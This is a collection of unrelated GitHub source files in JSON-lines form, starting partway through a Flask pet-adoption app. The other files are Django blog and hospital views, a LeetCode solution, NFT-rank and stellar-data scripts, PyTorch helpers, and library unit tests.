check_password_hash(\n                existing_user[\"password\"], request.form.get(\"password\")\n            ):\n                session[\"user\"] = request.form.get(\"username\").lower()\n                flash(\"Welcome {}\".format(request.form.get(\"username\")))\n                return redirect(url_for(\"home\", username=session[\"user\"]))\n            else:\n                # Invalid password match\n                flash(\"Invalid Username and/or Password\")\n                return redirect(url_for(\"login\"))\n\n        else:\n            # Username does not exist\n            flash(\"Incorrect Username and/or Password\")\n            return redirect(url_for(\"login\"))\n\n    return render_template(\"login.html\")\n\n\n@app.route(\"/logout\")\ndef logout():\n    \"\"\"------------- Log out -----------------------\"\"\"\n    # remove user session cookies\n    flash(\"You Have Been Logged Out\")\n    session.pop(\"user\")\n    return redirect(url_for(\"login\"))\n\n\n@app.route(\"/signup\", methods=[\"GET\", \"POST\"])\ndef signup():\n    \"\"\"------------- Sign Up -----------------------\"\"\"\n    if request.method == \"POST\":\n        # Check if the username already exists\n        existing_user = mongo.db.users.find_one(\n            {\"username\": request.form.get(\"username\").lower()}\n        )\n        existing_email = mongo.db.users.find_one(\n            {\"email\": request.form.get(\"email\").lower()}\n        )\n\n        if existing_user:\n            flash(\"Username already exists\")\n            return redirect(url_for(\"signup\"))\n        if existing_email:\n            flash(\"Email already exists\")\n            return redirect(url_for(\"signup\"))\n        \n        provider_status = request.form.get(\"provider_name\")\n        if provider_status:\n            provider = True\n        else:\n            provider = False\n\n        register = {\n            \"fname\": request.form.get(\"fname\").lower(),\n            \"lname\": request.form.get(\"lname\").lower(),\n            \"email\": request.form.get(\"email\").lower(),\n            \"username\": request.form.get(\"username\").lower(),\n            \"password\": generate_password_hash(request.form.get(\"password\")),\n            \"provider_name\": request.form.get(\"provider_name\").lower(),\n            \"address1\": request.form.get(\"address1\").lower(),\n            \"address2\": request.form.get(\"address2\").lower(),\n            \"address3\": request.form.get(\"address3\").lower(),\n            \"town_city\": request.form.get(\"town_city\").lower(),\n            \"county\": request.form.get(\"county\").lower(),\n            \"postcode\": request.form.get(\"postcode\").lower(),\n            \"phone\": request.form.get(\"phone\").lower(),\n            \"business_email\": request.form.get(\"business_email\").lower(),\n            \"description\": request.form.get(\"description\").lower(),\n            \"provider\": provider,\n        }\n        mongo.db.users.insert_one(register)\n\n        # put the new user in a session cookie\n        session[\"user\"] = request.form.get(\"username\").lower()\n        flash(\"Sign Up Successful!\")\n        return redirect(url_for(\"home\", username=session[\"user\"]))\n\n    return render_template(\"signup.html\")\n\n\n@app.route(\"/profile\")\ndef profile():\n    \"\"\"\n    Checks session user and renders their profile page.\n    \"\"\"\n    if session[\"user\"]:\n        user = find_user()\n        # provider = user['provider']\n\n        return render_template(\"profile.html\", user=user)\n\n    return redirect(url_for(\"login\"))\n\n\n@app.route(\"/provider_profile\", methods=[\"GET\", \"POST\"])\ndef provider_profile():\n    \"\"\"\n    Allows user to view and update their registration details. \n    \"\"\"\n    user = find_user()\n    user_id = find_id()\n\n    if request.method == \"POST\":\n        fname = user['fname']\n        lname = user['lname']\n        email = user['email']\n        username = user['username']\n        password = user['password']\n        provider = user['provider']\n        if (user['provider_name'] == request.form.get(\"provider_name\").lower()):\n            updated_provider_name = user['provider_name']\n        else:\n            updated_provider_name = request.form.get(\"provider_name\").lower()\n\n        if (user['address1'] == request.form.get(\"address1\").lower()):\n            updated_address1 = user['address1']\n        else:\n            updated_address1 = request.form.get(\"address1\").lower()\n\n        if (user['address2'] == request.form.get(\"address2\").lower()):\n            updated_address2 = user['address2']\n        else:\n            updated_address2 = request.form.get(\"address2\").lower()\n\n        if (user['address3'] == request.form.get(\"address3\").lower()):\n            updated_address3 = user['address3']\n        else:\n            updated_address3 = request.form.get(\"address3\").lower()\n\n        if (user['town_city'] == request.form.get(\"town_city\").lower()):\n            updated_town_city = user['town_city']\n        else:\n            updated_town_city = request.form.get(\"town_city\").lower()\n\n        if (user['county'] == request.form.get(\"county\").lower()):\n            updated_county = user['county']\n        else:\n            updated_county = request.form.get(\"county\").lower()\n\n        if (user['postcode'] == request.form.get(\"postcode\").lower()):\n            updated_postcode = user['postcode']\n        else:\n            updated_postcode = request.form.get(\"postcode\").lower()\n\n        if (user['phone'] == request.form.get(\"phone\").lower()):\n            updated_phone = user['phone']\n        else:\n            updated_phone = request.form.get(\"phone\").lower()\n\n        if (user['business_email'] == request.form.get(\"business_email\").lower()):\n            updated_business_email = user['business_email']\n        else:\n            updated_business_email = request.form.get(\"business_email\").lower()\n\n        if (user['description'] == request.form.get(\"description\").lower()):\n            updated_description = user['description']\n        else:\n            updated_description = request.form.get(\"description\").lower()\n\n        profile_update = {\n            \"fname\": fname,\n            \"lname\": lname,\n            \"email\": email,\n            \"username\": username,\n            \"password\": password,\n            \"provider_name\": updated_provider_name,\n            \"address1\": updated_address1,\n            \"address2\": updated_address2,\n            \"address3\": updated_address3,\n            \"town_city\": updated_town_city,\n            \"county\": updated_county,\n            \"postcode\": updated_postcode,\n            \"phone\": updated_phone,\n            \"business_email\": updated_business_email,\n            \"description\": updated_description,\n            \"provider\": provider\n        }\n\n        mongo.db.users.update({\"_id\": ObjectId(user_id)}, profile_update)\n        flash(\"Profile updated\")\n        return redirect(url_for(\"provider_profile\"))\n\n    return render_template(\"provider_profile.html\", user=user)\n\n\n@app.route(\"/add_pet\", methods=[\"GET\", \"POST\"])\ndef add_pet():\n    \"\"\"\n    Allows providers, from their profile page to add a pet\n    \"\"\"\n    user = find_user()\n    provider = user[\"provider_name\"]\n    print(provider)\n\n    if request.method == \"POST\":\n        pet = {\n            \"name\": request.form.get(\"name\").lower(),\n            \"description\": request.form.get(\"description\").lower(),\n            \"image\": request.form.get(\"image\"),\n            \"provider\": provider\n        }\n        mongo.db.pets.insert_one(pet)\n        flash(\"Pet saved!\")\n        return redirect(url_for(\"add_pet\"))\n\n    return render_template(\"add_pet.html\", user=user)\n\n\n@app.route(\"/update_pet/<pet_id>/<provider_name>\", methods=[\"GET\", \"POST\"])\ndef update_pet(pet_id, provider_name):\n    \"\"\"\n    Allows user to update their pet details. \n    \"\"\"\n    pet = mongo.db.pets.find_one({\"_id\": ObjectId(pet_id)})\n    print(pet)\n    print(provider_name)\n    print(\"hello\")\n\n    if request.method == \"POST\":\n        print(\"trying to update\")\n        updated_provider = provider_name\n        if (pet[\"name\"] == request.form.get(\"name\").lower()):\n            updated_name = pet['name']\n        else:\n            updated_name = request.form.get(\"name\").lower()\n\n        if (pet[\"description\"] == request.form.get(\"description\").lower()):\n            updated_description = pet['description']\n        else:\n            updated_description = request.form.get(\"description\").lower()\n\n        if (pet[\"image\"] == request.form.get(\"image\")):\n            updated_image = pet['image']\n        else:\n            updated_image = request.form.get(\"image\")\n\n        profile_update = {\n            \"name\": updated_name,\n            \"description\": updated_description,\n            \"image\": updated_image,\n            \"provider\": updated_provider\n        }\n\n        mongo.db.pets.update_one({\"_id\": ObjectId(pet_id)}, profile_update)\n        flash(\"Pet profile updated\")\n        # return redirect(url_for(\"provider_view_pets\", provider_name=provider_name))\n        return redirect(url_for(\"home\"))\n\n\n    return render_template(\"update_pet.html\", pet=pet)\n\n\n@app.route(\"/providers\")\ndef providers():\n    providers = mongo.db.users.find()\n    return render_template(\"providers.html\", providers=providers)\n\n\n@app.route(\"/provider_details/<provider_name>\")\ndef provider_details(provider_name):\n    provider = mongo.db.users.find_one({\"provider_name\": provider_name})\n    return render_template(\"provider_details.html\", provider=provider)\n\n\n@app.route(\"/provider_pets/<provider_name>\")\ndef provider_pets(provider_name):\n    pets = list(mongo.db.pets.find({\"provider\": provider_name}))\n    return render_template(\"provider_pets.html\", pets=pets)\n\n\n@app.route(\"/provider_view_pets/<provider_name>\")\ndef provider_view_pets(provider_name):\n    pets = list(mongo.db.pets.find({\"provider\": provider_name}))\n    return render_template(\"provider_view_pets.html\", pets=pets)\n\n\n@app.route(\"/pet_profile/<pet_name>\")\ndef pet_profile(pet_name):\n    pet = mongo.db.pets.find_one({\"name\": pet_name})\n    return render_template(\"pet_profile.html\", pet=pet)\n\n\n@app.route(\"/delete_pet/<pet_id>/<provider_name>\", methods=[\"GET\", \"POST\"])\ndef delete_pet(pet_id, provider_name):\n    \"\"\"\n    Queries the database and deletes the selected pet.\n    \"\"\"\n    if request.method == \"POST\":\n        mongo.db.pets.remove({\"_id\": ObjectId(pet_id)})\n        flash(\"Pet deleted from database\")\n        print(\"pet deleted\")\n        return redirect(url_for(\"provider_view_pets\", provider_name=provider_name))\n\n\n@app.errorhandler(404)\ndef not_found(error):\n    return render_template('404.html', error=error), 404\n\n\n@app.errorhandler(500)\ndef internal_error(error):\n    return render_template('500.html', error=error), 500\n\n\nif __name__ == \"__main__\":\n    app.run(host=os.environ.get(\"IP\"), \n            port=int(os.environ.get(\"PORT\")),\n            debug=True)\n","repo_name":"C-Undritz/Jan22-Hackathon-Team12","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":12474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"22791577251","text":"from django.urls import reverse\nfrom django.shortcuts import render\nfrom django.contrib.auth.decorators import login_required\n\nfrom .forms import PostForm\nfrom termcolor import colored\nfrom django.utils import timezone\nimport pytz\nfrom datetime import datetime, timedelta\nfrom django.shortcuts import get_object_or_404, redirect\nfrom .models import Post, Image\nimport os\nimport requests\nfrom django.core.files import File\n\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.http import HttpResponse\nfrom common.decorators import is_ajax\nfrom common.decorators import ajax_required\nfrom django.views.decorators.http import require_POST\nfrom django.conf import settings\nfrom django import http\n# Create your views here.\n\ndef delta_time(time):\n    delta = time + timezone.timedelta(minutes=1)\n    if delta >= timezone.localtime(timezone.now()):\n        return time\n    else:\n        return timezone.localtime(timezone.now())\n\n\ndef cover2_upload(url, creator_url, creator_name):\n    timestamp = datetime.now().timestamp()\n    imgname = f'{timestamp}.jpg'\n    try:\n        r = requests.get(url).content\n        with open(imgname, 'wb') as f:\n            f.write(r)\n        fileimg = File(open(imgname, 'rb'))\n        image = Image.objects.create(\n            image=fileimg, \n            creator_url=creator_url,\n            creator_name=creator_name\n        )\n        os.remove(imgname)\n\n        return image\n    except:\n        return None\n\n\n\n@login_required\ndef create_post(request):\n    \n    if request.method == 'POST':\n        form = PostForm(data=request.POST, files=request.FILES)\n        try:\n            cover = request.FILES.get('cover')\n            title = request.POST.get('title')\n            body = request.POST.get('body')\n            status = request.POST.get('status')\n            print(colored(request.POST, 'red'))\n            print(colored(cover, 'blue'))\n        except:\n            return render(\n                request,\n                'posts/post_form.html', {\n                    'form': form,\n                }\n            )\n\n        \n        post = Post.objects.create(\n            title=title,\n            body=body,\n            status=status,\n            author=request.user\n        )\n        post.cover = cover\n        post.save()\n\n        return redirect(post.get_absolute_url())\n\n\n    else:\n        form = PostForm(data=request.POST, files=request.FILES)\n    return render(\n        request,\n        'posts/post_form.html', {\n            'form': form,\n        }\n    )\n\n\n\n\n\n\n\ndef post_list(request):\n    # print('\\n\\n',request.META.get('HTTP_REFERER'))\n    # posts = Post.published.all()\n    posts = Post.published.all().order_by('-updated')\n    # print(translation.get_language_from_request(request))\n    paginator = Paginator(posts, 5)\n    page = request.GET.get('page')\n    try:\n        posts = paginator.page(page)\n    except PageNotAnInteger:\n        posts = paginator.page(1)\n    except EmptyPage:\n        if is_ajax(request=request):\n            return HttpResponse('')\n        posts = paginator.page(paginator.num_pages)\n    if is_ajax(request=request):\n        return render(\n            request,\n            'posts/list_ajax.html', {\n                'posts': posts,\n            }\n        )\n    return render(\n        request,\n        'posts/list.html', {\n            'posts': posts,\n\n        }\n    )\n\ndef post_detail(request, slug):\n\n    try:\n        post = Post.objects.get(slug=slug)\n\n\n        # print(post, \"aaa\"*100)\n    except Post.DoesNotExist:\n        return HttpResponse(\"404\")\n    \n    if post.status == \"draft\":\n        \n        if post.author != request.user:\n            return HttpResponse(\"THis Is un published\")\n    return render(\n        request,\n        'posts/detail.html', {\n            \"post\": post\n        }    \n    )\n\nfrom django.http import JsonResponse\n\n@login_required\ndef date_ajax_get(req):\n    # if req.method == 'POST':\n    mytime = (timezone.now().astimezone(pytz.timezone(settings.mytimezone))+timedelta(minutes=10)).strftime('%Y-%m-%d %H:%M')\n    # tmy = timezone.datetime.strptime(f'{mytime} {tz}', '%Y-%m-%d %H:%M %z')\n\n    # from zoneinfo import ZoneInfo\n    # date = datetime.now(tz=ZoneInfo('UTC')) + timedelta(minutes=5)\n    # date_str = date.strftime('%Y-%m-%d %H:%M')\n    # date_str = tmy.strftime('%Y-%m-%d %H:%M')\n\n    return JsonResponse({'status': 'ok', 'date': mytime})  \n\nfrom django.utils.translation import gettext as _\n\n@login_required\n@ajax_required\n@require_POST\ndef date_check_past(req):\n    if req.method == 'POST':\n        publish = req.POST.get('publish')\n        # tz = req.POST.get('tz')\n        try:\n            tmy = timezone.datetime.strptime(f'{publish}', '%Y-%m-%d %H:%M')\n            # tmy = timezone.datetime.strptime(f'{publish} {tz}', '%Y-%m-%d %H:%M %z')\n            # t = tmy.astimezone(pytz.timezone('UTC'))\n            # from termcolor import colored\n            # print(colored(tmy, 'red'))\n            # d_with_tz = timezone.datetime(year=t.year, month=t.month, day=t.day, hour=t.hour, minute=t.minute, tzinfo=pytz.UTC)\n            # print('my to utc', d_with_tz)\n            # print('now utc', timezone.now())\n            # naive = t.replace(tzinfo=None)\n            # humanize.activate(req.LANGUAGE_CODE)\n            # message = humanize.naturaltime(naive)\n            tnow = timezone.now().astimezone(pytz.timezone(settings.mytimezone))\n            tnow2 = tnow.replace(tzinfo=None)\n            # print(colored(tnow2, 'blue'))\n            if tmy < tnow2:\n                return JsonResponse({'status': 'ok', 'message': _(\"Please check your system's date. Its may be incorrect or You are entering date in past.\")})\n\n            else:\n                return JsonResponse({'status': 'ok', 'message': _('It will be published at given time')})\n        except :\n            return JsonResponse({'status': 'ok', 'message': _('Wrong Formate, Correct are \"YYYY-MM-DD HH:MM\"')})\n\n\n\n\n@login_required\ndef update_post(request, slug):\n    try:\n        post = Post.objects.get(slug=slug)\n    except Post.DoesNotExist:\n        return HttpResponse(\"404\")\n    \n    if request.method == 'POST':\n        form = PostForm(data=request.POST, files=request.FILES)\n        try:\n            cover = request.FILES.get('cover')\n            title = request.POST.get('title')\n            body = request.POST.get('body')\n            status = request.POST.get('status')\n            # print(colored(request.POST, 'red'))\n            # print(colored(cover, 'blue'))\n        except:\n            return render(\n                request,\n                'posts/post_form.html', {\n                    'form': form,\n                }\n            )\n        \n        post.title=title\n        post.body=body\n        post.status=status\n        if cover != None: \n            # print(colored(post.cover, 'green'))\n            \n            post.cover = cover\n        \n\n        post.save()\n\n        return redirect(post.get_absolute_url())\n\n    \n\n    else:\n        data = {\n            \"title\": post.title,\n            \"body\": post.body,\n            \"status\": post.status,\n        }\n        files = {\n            \"cover\": post.cover\n\n        }\n        form = PostForm(data=data, files=request.FILES, instance=post)\n    if post.cover:\n        imgcover = post.cover.url\n    else:\n        imgcover = None\n    return render(\n        request,\n        'posts/post_form.html', {\n            'form': form,\n            \"imgcover\": imgcover\n        }\n    )\n\nfrom .models import Category\n\n@login_required\ndef category_list(request):\n    posts = Category.objects.filter(created_by=request.user).order_by('-updated')\n    paginator = Paginator(posts, 5)\n    page = request.GET.get('page')\n    try:\n        posts = paginator.page(page)\n    except PageNotAnInteger:\n        posts = paginator.page(1)\n    except EmptyPage:\n        if is_ajax(request=request):\n            return HttpResponse('')\n        posts = paginator.page(paginator.num_pages)\n    if is_ajax(request=request):\n        return render(\n            request,\n            'posts/category/list_ajax.html', {\n                'posts': posts,\n            }\n        )\n    return render(\n        request,\n        'posts/category/list.html', {\n            'posts': posts,\n\n        }\n    )\n\n@login_required\ndef delete_category(request, slug):\n    try:   \n        \n\n        post = Category.objects.get(slug=slug)\n    except Category.DoesNotExist:\n        return HttpResponse(\"404\")\n    if post.created_by != request.user:\n        return HttpResponse(\"401 Unauthorized\")\n    post.delete()\n    return http.HttpResponseRedirect(reverse('category_list'))\n\n\n@login_required\ndef delete_post(request, slug):\n    try:   \n        \n\n        post = Post.objects.get(slug=slug)\n    except Post.DoesNotExist:\n        return HttpResponse(\"404\")\n    if post.author != request.user:\n        return HttpResponse(\"401 Unauthorized\")\n    post.delete()\n    return http.HttpResponseRedirect(reverse('dashboard'))\n\n\n@login_required\ndef unpublish_post(request, slug):\n    try:   \n        \n\n        post = Post.objects.get(slug=slug)\n    except Post.DoesNotExist:\n        return HttpResponse(\"404\")\n    if post.author != request.user:\n        return HttpResponse(\"401 Unauthorized\")\n    post.status = \"draft\"\n    post.save()\n    return http.HttpResponseRedirect(reverse('dashboard'))\n\n\n@login_required\ndef publish_post(request, slug):\n    try:   \n        \n\n        post = Post.objects.get(slug=slug)\n    except Post.DoesNotExist:\n        return HttpResponse(\"404\")\n    if post.author != request.user:\n        return HttpResponse(\"401 Unauthorized\")\n    post.status = \"published\"\n    post.save()\n    return http.HttpResponseRedirect(reverse('dashboard'))\n","repo_name":"vizvasrj/blog","sub_path":"posts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"7107155649","text":"class Solution:\n    def mySqrt(self, x: int) -> int:\n        #x0**2-a+2*x0*(x-x0)=0\n        #2xx0-x0**2-a=0\n        #x = 0.5*x0+0.5(a/x0) = 0.5*(x0+a/x0)\n        # if x<=1:return x\n        # x0=1\n        # while True:\n        #     cur = 0.5*(x0+x/x0)\n        #     if abs(cur-x0)<=1e-5:\n        #         return int(cur)\n        #     x0=cur\n        if x<=1:return x\n        l,r = 0,x\n        while l<=r:\n            mid = (l+r)/2\n            cur = mid**2\n            if abs(cur-x)<=1e-5:\n                return int(mid)\n            if cur>x:\n                r=mid\n            else:\n                l=mid\n        \n","repo_name":"ruisunyc/leetcode_Solution","sub_path":"leetcode/0069.x的平方根/0069-x的平方根.py","file_name":"0069-x的平方根.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"17621862586","text":"import csv\nfrom collections import defaultdict\n\ndef sum_and_count_values(csv_file):\n    # Read the CSV file into a dictionary of lists\n    with open(csv_file, 'r') as file:\n        reader = csv.reader(file)\n        rows = list(reader)\n\n    # Create a dictionary to store the sums and counts\n    sum_counts = defaultdict(lambda: [0, 0])  # [Sum, Count]\n\n    # Calculate the HRI\n    for row in rows[1:]:\n        try:\n            key = row[1] # owner is the key value\n            value = int(row[2]) # the rank in the NFT collection\n            sum_counts[key][0] += value  # Sum = running total of all rank values\n            sum_counts[key][1] += 1      # Count aka Total Comboeys: is assigned to each owner bc that's our primary key\n            # Do the Comverse special maths to calculate HRI\n            # 1. Divide the Sum by Count, get Average\n            sum_counts[key][0] = sum_counts[key][0]/sum_counts[key][1]\n            # 2. Divide Average by 2x count\n            sum_counts[key][0] = sum_counts[key][0]/(sum_counts[key][1]*2)\n            # 3. if NFT count < 10, incur HRI balance penalty\n            if sum_counts[key][1] < 10:\n                sum_counts[key][0] = sum_counts[key][0] + (10 - sum_counts[key][1])\n        except ValueError:\n            continue\n    # Create the new CSV file with three columns\n    new_csv_file = 'HRI_combeys.csv'\n    with open(new_csv_file, 'w', newline='') as file:\n        writer = csv.writer(file)\n        writer.writerow(['Holder', 'HRI', 'Combeys'])\n        for key, (sum_val, count) in sum_counts.items():\n            writer.writerow([key, sum_val, count])\n\n    return new_csv_file\n\n# Usage example\ncsv_file = './combeys-holders-ranks.csv'\nnew_csv_file_path = sum_and_count_values(csv_file)\nprint(f\"New CSV file created: {new_csv_file_path}\")","repo_name":"jacksmedia/hri","sub_path":"hri-maths-combeys.py","file_name":"hri-maths-combeys.py","file_ext":"py","file_size_in_byte":1793,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"41672307960","text":"import os\nimport numpy as np\nfrom glob import glob\nfrom CAMstars.Material.material import material\nfrom CAMstars.Material.population import population\n\ndef parse(fname):\n\tfi = open(fname,'r')\n\tname = fname[fname.rfind('/')+1:fname.find('csv')-1]\n\tnames = []\n\tlogX = []\n\tdlogX = []\n\n\t# Load bulk stellar properties\n\tparams = {}\n\tfor i,line in enumerate(fi):\n\t\tif 'Element' in line:\n\t\t\tbreak\n\t\tind = line.index(':')\n\t\ts = (line[:ind], line[ind+1:].strip())\n\t\ttry:\n\t\t\tparams[s[0]] = float(s[1])\n\t\texcept ValueError:\n\t\t\tparams[s[0]] = s[1]\n\n\t# Load abundance data\n\tfor i,line in enumerate(fi):\n\t\tif 'References' in line:\n\t\t\tbreak\n\t\ts = line.rstrip().split(',')\n\t\tif len(s) == 3:\n\t\t\tnames.append(s[0])\t\n\t\t\tlogX.append(float(s[1]))\n\t\t\tdlogX.append(float(s[2]))\n\n\tlogX = np.array(logX)\n\tdlogX = np.array(dlogX)\n\n\t# Calculate additional parameters\n\tif 'dlogmdotMinus' in params.keys() and 'dlogmdotPlus' in params.keys():\n\t\tparams['dlogmdot'] = 0.5 * (params['dlogmdotMinus'] + params['dlogmdotPlus'])\n\n\t# Correct for different normalizations\n\tif params['Abundance Normalization'] == 'Ntot':\n\t\tnH = 1 - sum(10**w for i,w in enumerate(logX) if names[i] != 'H')\n\t\tlogX = logX - np.log10(nH)\n\telif params['Abundance Normalization'] == 'H12':\n\t\tlogX -= 12\n\n\t# Correct for systematic uncertainties\n\tif 'General uncertainty' in params.keys():\n\t\tdlogX = (dlogX**2 + params['General uncertainty']**2)**0.5\n\n\treturn material(name, names, logX, dlogX, params=params)\n\ndir_path = os.path.dirname(os.path.realpath(__file__))\nfiles = glob(dir_path + '/../../Data/Accreting Stars/*.csv')\nmaterials = list([parse(f) for f in files])\naccretingPop = population(materials)\n\nfiles = glob(dir_path + '/../../Data/Field Stars/AJMartin/*.csv')\nmaterials = list([parse(f) for f in files])\nAJMartinPop = population(materials)\n\nfiles = glob(dir_path + '/../../Data/Field Stars/LFossati/*.csv')\nmaterials = list([parse(f) for f in files])\nLFossatiPop = population(materials)\n\nsol = parse(dir_path + '/../../Data/Field Stars/Sol.csv')\n","repo_name":"adamjermyn/CAMstars","sub_path":"CAMstars/Parsers/stars.py","file_name":"stars.py","file_ext":"py","file_size_in_byte":2000,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"74587952099","text":"import torch._subclasses\nfrom torch._subclasses.fake_tensor import DynamicOutputShapeException\n\n\ndef is_builtin(op):\n    return op.namespace in ('aten', 'prims', 'prim')\n\n\ndef fake_check(op, args, kwargs, dynamic_only):\n    with torch._subclasses.CrossRefFakeMode(ignore_op_fn=is_builtin):\n        try:\n            op(*args, **kwargs)\n        except DynamicOutputShapeException:\n            if not dynamic_only:\n                raise\n            return\n        if dynamic_only:\n            raise AssertionError(\n                f\"fake_check({op}, ..., dynamic_only={dynamic_only}): \"\n                f\"dynamic_only means that the operator is expected to have \"\n                f\"data-dependent output shape. We have not detected that this is \"\n                f\"the case. Please check that your operator's FakeTensor \"\n                f\"implementation is actually data dependent\")\n","repo_name":"ArtificialZeng/pytorch-explained","sub_path":"torch/testing/_internal/optests/fake_tensor.py","file_name":"fake_tensor.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"38882245309","text":"\"\"\"This module contains functions about retrieving of patients names,\n doctors names from Enrollment object, and lists all Enrollments connected\n to certain doctor(its owner). \"\"\"\n\nfrom django.shortcuts import render\nfrom enrollment_system.models import Enrollment\nfrom doctors_auth.models import DoctorProfile\nfrom .forms import PatientFilterForm, DoctorFilterForm\n\n\ndef extract_filter_values(values):\n    \"\"\"It takes request param 'text' and returns its value\"\"\"\n    text = values['text'] if 'text' in values else ''\n    return text\n\n\ndef all_patients(request):\n    \"\"\"It retrieves patients names form Enrollments records. \"\"\"\n\n    text = extract_filter_values(request.GET)\n    patient = Enrollment.objects.filter(patient_name__contains=text)\n    context = {\n        'patients': patient,\n        'patient_filter_form': PatientFilterForm(initial={'text': text})\n    }\n    return render(request, 'hospital_units/patients_list.html', context)\n\n\ndef all_doctors(request):\n    \"\"\"It retrieves doctors names from DoctorProfile records. \"\"\"\n\n    text = extract_filter_values(request.GET)\n    doctor = DoctorProfile.objects.filter(name__contains=text)\n    context = {\n        'doctors': doctor,\n        'doctor_filter_form': DoctorFilterForm(initial={'text': text})\n    }\n    return render(request, 'hospital_units/doctors_list.html', context)\n\n\ndef doctors_records(request):\n    \"\"\"It filters Enrollment records by their owners. \"\"\"\n\n    context = {\n        'enrollments': Enrollment.objects.filter(doctor_name_id=request.user.doctorprofile.id)\n    }\n    return render(request, 'hospital_units/doctors_enrollments.html', context)\n","repo_name":"htodev/HospitalRegister","sub_path":"hospital_units/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"35758243434","text":"import torch\r\nimport torch.nn as nn\r\nimport torchvision\r\nfrom model import LogisticRegressionModel\r\nfrom dataset_loader import load_data\r\n\r\n\r\n# Hyper-parameters \r\ninput_size = 28 * 28    # 784\r\noutput_size = 10\r\nnum_epochs = 5\r\nbatch_size = 100\r\nlearning_rate = 0.001\r\n\r\ndef train(train_loader, input_size, num_epochs):\r\n    \r\n    try:\r\n    \r\n        total_step = len(train_loader)\r\n        \r\n        for epoch in range(num_epochs):\r\n            for i, (images, labels) in enumerate(train_loader):\r\n                # Reshape images to (batch_size, input_size)\r\n                images = images.reshape(-1, input_size)\r\n                \r\n                # Forward pass\r\n                outputs = model(images)\r\n                loss = criterion(outputs, labels)\r\n                \r\n                # Backward and optimize\r\n                optimizer.zero_grad()\r\n                loss.backward()\r\n                optimizer.step()\r\n                \r\n                if (i+1) % 100 == 0:\r\n                    print ('Epoch [{}/{}], Step [{}/{}], Loss: {:.4f}' .format(epoch+1, num_epochs, i+1, total_step, loss.item()))\r\n    \r\n    except:\r\n        print(\"An error occured while training\")\r\n        \r\n        \r\ndef test(test_loader):\r\n    \r\n    try:\r\n\r\n        with torch.no_grad():\r\n            correct = 0\r\n            total = 0\r\n            for images, labels in test_loader:\r\n                images = images.reshape(-1, input_size)\r\n                outputs = model(images)\r\n                _, predicted = torch.max(outputs.data, 1)\r\n                total += labels.size(0)\r\n                correct += (predicted == labels).sum()\r\n        \r\n            print('Accuracy of the model on the 10000 test images: {} %'.format(100 * correct / total))\r\n            \r\n    except:\r\n        print(\"An error occured while testing\")\r\n        \r\ndef save_model(model):\r\n    \r\n    try:\r\n        \r\n        # Save the model checkpoint\r\n        torch.save(model.state_dict(), 'model.ckpt')\r\n        \r\n    except:\r\n        print(\"An Error Occured\")\r\n        \r\n\r\n# checking type of device        \r\ndevice = 'cuda' if torch.cuda.is_available() else 'cpu'\r\nprint('Using {} device'.format(device))\r\nprint()\r\n\r\n# loading dataset      \r\ntrain_loader, test_loader = load_data()\r\n\r\n# linear model\r\nmodel = LogisticRegressionModel().to(device)\r\nprint(model)\r\nprint()\r\n\r\n# loss function and optimization\r\ncriterion = nn.CrossEntropyLoss()  \r\noptimizer = torch.optim.SGD(model.parameters(), lr=learning_rate)  \r\n\r\n# training & testing\r\ntrain(train_loader, input_size, num_epochs)\r\ntest(test_loader)\r\n\r\n# saving model\r\nsave_model(model)\r\n\r\n","repo_name":"khushi-411/tutorials","sub_path":"pytorch/logistic-regression/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"788576987","text":"import unittest\n\nfrom lambdo.Workflow import *\nfrom lambdo.Table import *\nfrom lambdo.Column import *\n\nclass TablesTestCase(unittest.TestCase):\n\n    def setUp(self):\n        pass\n\n    def test_imports(self):\n        wf_json = {\n            \"id\": \"My workflow\",\n            \"imports\": [\"tests.udf\", \"os.path\"],\n            \"tables\": [\n                {\n                    \"id\": \"My table\",\n                    \"columns\": [\n                        {\n                            \"id\": \"A\",\n                            \"inputs\": [\"A\"],\n                            \"window\": \"1\",\n                            \"extensions\": [\n                                {\"function\": \"tests.udf:user_import_fn\", \"outputs\": \"Success\"}\n                            ]\n                        }\n                    ]\n                }\n            ]\n        }\n\n        wf = Workflow(wf_json)\n\n        self.assertEqual(len(wf.modules), 2)\n        self.assertTrue(hasattr(wf.modules[0], 'user_import_fn'))\n\n        # Provide data directly (without table population)\n        data = {'A': [1, 2, 3]}\n        df = pd.DataFrame(data)\n        tb = wf.tables[0]\n        tb.data = df\n\n        wf.execute()\n\n        self.assertEqual(wf.tables[0].data['Success'][0], 'Success')\n        self.assertEqual(wf.tables[0].data['Success'].nunique(), 1)\n\n    def test_getset_pkl(self):\n        value = \"Value to be stored\"\n        json_field = \"$file:_test_.pkl\"\n\n        set_value(json_field, value)\n        value2 = get_value(json_field)\n\n        self.assertEqual(value, value2)\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"asavinov/lambdo","sub_path":"tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":1586,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"35"}
